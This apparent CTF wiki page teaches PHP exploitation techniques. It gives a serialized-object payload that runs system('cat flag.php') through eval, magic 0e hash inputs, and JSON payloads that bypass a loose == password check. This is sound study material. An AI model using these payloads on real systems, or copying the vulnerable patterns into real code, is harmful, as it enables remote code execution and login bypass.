.php - adeptex/CTF GitHub Wiki

Unserialize

To exploit unserialization in PHP you need a source code leak to get a Class name and a public variable in that Class.

For example:

class FileClass
{
    public $command = 'return file_get_contents("info.txt");';
    public function __toString()
    {
        return eval($this->command);
    }
}

If there is a serialized string that this application accepts and unserializes, it's possible to abuse the leaked Class by supplying a serialized Object that sets an arbitrary value for public $command class variable:

O:9:"FileClass":1:{s:7:"command";s:23:"system('cat flag.php');";};

When the application calls unserialize($input);, a new FileClass object is created with $command set to system('cat flag.php');, which will be eval'd giving RCE.

Type Juggling

Types in PHP

PHP determines operand variable types based on the context (source)

$foo = "1";            // $foo is string (ASCII 49)
$foo = $foo * 2;       // $foo is now an integer (2)
$foo = $foo * 1.3;     // $foo is now a float (2.6)

If a string starts with a non-digit, numeric type conversion always returns zero

intval("asdf123");     // (integer) 0
doubleval("asdf123");  // (double) 0
floatval("asdf123");   // (float) 0

If a string starts with a digit, numeric type conversion always returns the leading digits

intval("123asdf");     // (integer) 123
doubleval("123asdf");  // (double) 123
floatval("123asdf");   // (float) 123

Boolean type conversion always returns TRUE for non-empty strings

boolval("asdf123");    // (boolean) true
boolval("123asdf");    // (boolean) true
boolval("");           // (boolean) false

PHP has a "useful feature" for providing double values in scientific notation

PHP Result
0e0 0
0000e0 0
1e0 1
1e1 10
1e2 100
2e3 2000
1e1000 INF

Juggling types allows bypassing loose comparisons ==

Controlling the type of one operand in a loose comparison allows changing the type of the other operand

PHP Result Description
0e0 == "asdf123" TRUE "asdf123" becomes (double) 0
0e0 == "123asdf" FALSE "123asdf" becomes (double) 123
123 == "asdf123" FALSE "asdf123" becomes (integer) 0
123 == "123asdf" TRUE "123asdf" becomes (integer) 123
true == "asdf123" TRUE "asdf123" becomes (boolean) true

Useful Hashes

PHP Result
md5("240610708") 0e462097431906509019562988736854
md5("QNKCDZO") 0e830400451993494058024219903391
sha1("aaroZmOk") 0e66507019969427134894567494305185566735
sha1("aaK1STfY") 0e76658526655756207688271159624026011393

Authentication Bypass Example

The following snippet gets POSTed JSON data and checks if the provided password matches the MD5 hash of $admin_password

$admin_password = "sup3rs3cur1tar";

$auth = json_decode(
    file_get_contents("php://input"), 
    true
);

if ($auth['user'] == "admin") {
    if ($auth['password'] == md5($admin_password)) { 
        login_ok();
    } else {
        die();
    }
}

md5($admin_password) becomes "565e00f2e98436437b1b3d7cc4866a14".

Comparing that hash with (integer) 565 or (boolean) true will give TRUE.

Posting the following will bypass authentication:

  • {"user": "admin", "password": 565}
  • {"user": "admin", "password": true}

On the other hand, if $admin_password were set to admin1234 and the hash would be "c93ccd78b2076528346216b3b2f701e6", posting the following will bypass authentication:

  • {"user": "admin", "password": 0e0}
  • {"user": "admin", "password": true}